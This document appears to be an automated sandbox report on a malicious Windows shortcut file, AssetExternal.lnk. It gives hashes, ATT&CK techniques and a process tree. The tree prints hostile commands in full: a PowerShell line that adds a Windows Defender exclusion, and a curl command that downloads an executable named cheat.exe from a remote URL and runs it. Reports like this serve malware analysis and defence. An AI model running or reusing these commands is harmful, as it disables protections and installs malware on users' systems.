6dd4256f5e5818225f2ed4f2d378b9b70be3ccc52c70ea4d24ff1c338e4f9f5a

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 23:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Mal/AssetExternalV8/AssetExternalV8/AssetExternal.lnk
Size 1KB
Sample260808-31te3azzgx
SHA256 6dd4256f5e5818225f2ed4f2d378b9b70be3ccc52c70ea4d24ff1c338e4f9f5a
MD5 0f6a404c26510641ceff4ce159bb4a2b
SHA1 a926776e1d5744c13be1792e2ec2af92f88ff692
SHA512 e829110d2725d45ac686c0c50e77bd6dc9ded950c501dfb6268c6aeac05cdce112d711195fac3a6473b08a78701f25a42dd1b642ef5ac32b58d80840bdb626f9
TLSH
T18B31CD5266C16F19E7BF0FB296F6A181C27C78217C0AD50C55949B8828B6A24E836736
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4520	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
11	4936	curl.exe

Executes dropped EXE 1 IoCs

pid	Process
5388	cheat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3156	cmd.exe
5284	cmd.exe

Delays execution with timeout.exe 7 IoCs

defense_evasion

pid	Process
3384	timeout.exe
1976	timeout.exe
4396	timeout.exe
5940	timeout.exe
5616	timeout.exe
3620	timeout.exe
1528	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4520	powershell.exe
4520	powershell.exe
5388	cheat.exe
5388	cheat.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeIncreaseQuotaPrivilege	4520	powershell.exe
Token: SeSecurityPrivilege	4520	powershell.exe
Token: SeTakeOwnershipPrivilege	4520	powershell.exe
Token: SeLoadDriverPrivilege	4520	powershell.exe
Token: SeSystemProfilePrivilege	4520	powershell.exe
Token: SeSystemtimePrivilege	4520	powershell.exe
Token: SeProfSingleProcessPrivilege	4520	powershell.exe
Token: SeIncBasePriorityPrivilege	4520	powershell.exe
Token: SeCreatePagefilePrivilege	4520	powershell.exe
Token: SeBackupPrivilege	4520	powershell.exe
Token: SeRestorePrivilege	4520	powershell.exe
Token: SeShutdownPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeSystemEnvironmentPrivilege	4520	powershell.exe
Token: SeRemoteShutdownPrivilege	4520	powershell.exe
Token: SeUndockPrivilege	4520	powershell.exe
Token: SeManageVolumePrivilege	4520	powershell.exe
Token: 33	4520	powershell.exe
Token: 34	4520	powershell.exe
Token: 35	4520	powershell.exe
Token: 36	4520	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3156 wrote to memory of 5284	3156	cmd.exe	91
PID 5284 wrote to memory of 3700	5284	cmd.exe	92
PID 3700 wrote to memory of 2576	3700	net.exe	93
PID 5284 wrote to memory of 4396	5284	cmd.exe	94
PID 5284 wrote to memory of 5940	5284	cmd.exe	95
PID 5284 wrote to memory of 5616	5284	cmd.exe	96
PID 5284 wrote to memory of 4520	5284	cmd.exe	97
PID 5284 wrote to memory of 4936	5284	cmd.exe	99
PID 5284 wrote to memory of 3620	5284	cmd.exe	102
PID 5284 wrote to memory of 1528	5284	cmd.exe	103
PID 5284 wrote to memory of 5388	5284	cmd.exe	104
PID 5284 wrote to memory of 3384	5284	cmd.exe	105
PID 5284 wrote to memory of 1976	5284	cmd.exe	107

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\AssetExternal.lnk
1⤵
- Executes a command shell one-liner
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\dependencies\Libraries.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5284
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3700
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2576
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4396
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5940
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4520
- - C:\Windows\system32\curl.exe
    curl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"
    3⤵
    - Downloads MZ/PE file
    PID:4936
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3620
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1528
- - C:\Users\Admin\AppData\Local\Temp\cheat.exe
    "C:\Users\Admin\AppData\Local\Temp\cheat.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:5388
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3384
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4280

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

AssetExternal.lnk

Path C:\Users\Admin\AppData\Local\Temp\Mal\AssetExternalV8\AssetExternalV8\AssetExternal.lnk
Size 2KB
SHA256 2891d58d5ad84f1b46d41a54b21843560b539dd427203e2bf83b22dca0d8ed2a
MD5 c5bac0cc729f0ebdc3eed6fda63790b8
SHA1 a9d74f219f8d3376bef7b9c5d37f9f0a24dff25d
SHA512 cf4169ec12d6566358c1b4bb62aa9255fe538916884dba86f63a29b7770aa9da37d5d4e8accb1351349870aa676cb549a2c76e81adc31003a999530f5fef4628
TLSH
T17341EF929EC16F09D2BF5E766BFB519042BCFC345E0AE90C0454838D1862B12E93D73E
MD5 SHA1 SHA512 TLSH

Submit Download

cheat.exe

Path C:\Users\Admin\AppData\Local\Temp\cheat.exe
Size 676KB
SHA256 62aeb4d89cbe53cb8ec9eff1a5230cd9deedeb3605ee9825e936eb08c0543888
MD5 1f86b763eec23eb36f5a530763b7a65d
SHA1 79ae711c84382764dbdd1af03c12b5d61d9e1cfb
SHA512 502b0364dc0136ccac70be2408cd98628cfa500a444fb97d72858c31b692d3223e1a11c6bd26f80bd09ebf6ad66ecf03429ff08a485182d7d7070c4115eb714e
SSDEEP 6144:51oqMZHuAx9Jb4Fo2W3NkWQWrpoTSS2I5trhzkfgbSYB0U5gdIbmJFhsmNkrr3ZF:EbWTSSfKfcSYrgdIoyNrr3ZLC5Kcm
TLSH
T15BE4AE15A6E112F9E177C13ECAA64A56FAF2BC09076097C703E456E42F17BE44B3E312
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4520-7-0x000002427D960000-0x000002427D982000-memory.dmp

Download

memory/4520-11-0x000002427E040000-0x000002427E0F2000-memory.dmp

Download

memory/4520-10-0x000002427E020000-0x000002427E03E000-memory.dmp

Download

memory/4520-12-0x000002427E000000-0x000002427E00A000-memory.dmp

Download